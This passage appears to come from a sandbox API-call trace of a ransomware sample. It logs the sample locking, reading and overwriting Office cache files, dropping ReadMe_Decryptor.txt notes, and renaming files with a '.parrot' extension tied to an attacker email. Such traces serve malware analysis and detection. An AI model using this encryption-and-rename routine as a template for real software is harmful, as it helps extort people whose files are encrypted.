Flags=0x0, Size=0x180) returned 0x5bbfc0 [0051.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0051.388] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.388] WriteFile (in: hFile=0x310, lpBuffer=0x5bbfc0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x5bbfc0*, lpNumberOfBytesWritten=0x235f1e8*=0x118, lpOverlapped=0x0) returned 1 [0051.388] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.388] WriteFile (in: hFile=0x310, lpBuffer=0x34b0040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x34b0040*, lpNumberOfBytesWritten=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0051.392] UnlockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe220e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.392] CloseHandle (hObject=0x310) returned 1 [0052.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0052.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1610 [0052.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0052.968] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0052.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1610 | out: hHeap=0x540000) returned 1 [0052.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0052.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x34b0020 | out: hHeap=0x540000) returned 1 [0053.052] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0053.052] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559e80 [0053.052] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0053.052] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0053.053] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0053.053] GetFileType (hFile=0x310) returned 0x1 [0053.053] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0053.063] lstrcmpW (lpString1="OutlookMUI.msi", lpString2="ReadMe_Decryptor.txt") returned -1 [0053.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0053.064] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x2bba00 [0053.064] LockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2bbb18, nNumberOfBytesToLockHigh=0x0) returned 1 [0053.064] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0053.064] ReadFile (in: hFile=0x310, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0053.088] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.088] ReadFile (in: hFile=0x310, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0053.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0053.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x63e990 [0053.098] GetLastError () returned 0x0 [0053.098] SetLastError (dwErrCode=0x0) [0053.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0053.098] GetLastError () returned 0x0 [0053.098] SetLastError (dwErrCode=0x0) [0053.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0053.098] GetLastError () returned 0x0 [0053.098] SetLastError (dwErrCode=0x0) [0053.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x55df08 [0053.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x292de48 [0053.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0053.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x292fe88 [0053.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292de48 | out: hHeap=0x540000) returned 1 [0053.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x2933ec8 [0053.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292fe88 | out: hHeap=0x540000) returned 1 [0053.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x293bf08 [0053.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2933ec8 | out: hHeap=0x540000) returned 1 [0053.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x294bf48 [0053.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x293bf08 | out: hHeap=0x540000) returned 1 [0053.298] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x296bf88 [0053.300] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x294bf48 | out: hHeap=0x540000) returned 1 [0053.302] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x26c0020 [0053.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x296bf88 | out: hHeap=0x540000) returned 1 [0053.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100033) returned 0x34b0020 [0053.329] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.329] WriteFile (in: hFile=0x310, lpBuffer=0x5bbfc0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x5bbfc0*, lpNumberOfBytesWritten=0x235f1e8*=0x118, lpOverlapped=0x0) returned 1 [0053.329] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.330] WriteFile (in: hFile=0x310, lpBuffer=0x34b0040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x34b0040*, lpNumberOfBytesWritten=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0053.333] UnlockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2bbb18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0053.333] CloseHandle (hObject=0x310) returned 1 [0053.635] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0053.635] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1800 [0053.635] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0053.635] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0053.636] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1800 | out: hHeap=0x540000) returned 1 [0053.636] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0053.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x34b0020 | out: hHeap=0x540000) returned 1 [0053.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0053.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0053.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0053.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0053.670] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0053.671] GetFileType (hFile=0x294) returned 0x1 [0053.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0053.814] lstrcmpW (lpString1="OutlookMUI.xml", lpString2="ReadMe_Decryptor.txt") returned -1 [0053.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0053.816] GetFileSize (in: hFile=0x294, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0xc72 [0053.816] LockFile (hFile=0x294, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd8a, nNumberOfBytesToLockHigh=0x0) returned 1 [0053.816] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0053.816] ReadFile (in: hFile=0x294, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0053.819] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.819] ReadFile (in: hFile=0x294, lpBuffer=0x27c0040, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0xc72, lpOverlapped=0x0) returned 1 [0053.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0053.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0053.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0053.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0053.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0053.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0053.819] GetLastError () returned 0x0 [0053.819] SetLastError (dwErrCode=0x0) [0053.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0053.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e7520 [0053.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0053.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0053.819] GetLastError () returned 0x0 [0053.819] SetLastError (dwErrCode=0x0) [0053.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0053.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0053.820] GetLastError () returned 0x0 [0053.820] SetLastError (dwErrCode=0x0) [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0053.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0053.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4d30 [0053.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0053.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc80) returned 0x28d7a10 [0053.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bb88 [0053.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1913) returned 0x5775c0 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4d30 | out: hHeap=0x540000) returned 1 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0053.820] GetLastError () returned 0x0 [0053.820] SetLastError (dwErrCode=0x0) [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e7520 | out: hHeap=0x540000) returned 1 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0053.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0053.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0053.820] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0053.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0053.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0053.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c58 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c70 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x609178 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d0920 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609178 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x562228 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d5988 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x63fba8 [0053.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0053.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0053.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63fba8 | out: hHeap=0x540000) returned 1 [0053.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0053.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0053.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0053.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0053.885] WriteFile (in: hFile=0x294, lpBuffer=0x28d7a10*, nNumberOfBytesToWrite=0xd98, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x28d7a10*, lpNumberOfBytesWritten=0x235f1e8*=0xd98, lpOverlapped=0x0) returned 1 [0053.885] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0053.885] UnlockFile (hFile=0x294, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd8a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0053.885] CloseHandle (hObject=0x294) returned 1 [0053.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0053.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1708 [0053.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0053.887] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0053.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1708 | out: hHeap=0x540000) returned 1 [0053.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0053.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0053.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0053.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0053.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0053.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0053.888] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0053.889] GetFileType (hFile=0x294) returned 0x1 [0053.889] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0053.901] lstrcmpW (lpString1="Setup.xml", lpString2="ReadMe_Decryptor.txt") returned 1 [0053.901] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0053.902] GetFileSize (in: hFile=0x294, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x106f [0053.902] LockFile (hFile=0x294, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1187, nNumberOfBytesToLockHigh=0x0) returned 1 [0053.902] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0053.902] ReadFile (in: hFile=0x294, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0053.904] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.904] ReadFile (in: hFile=0x294, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x106f, lpOverlapped=0x0) returned 1 [0053.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0053.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0053.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0053.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0053.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0053.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x63e990 [0053.945] GetLastError () returned 0x0 [0053.945] 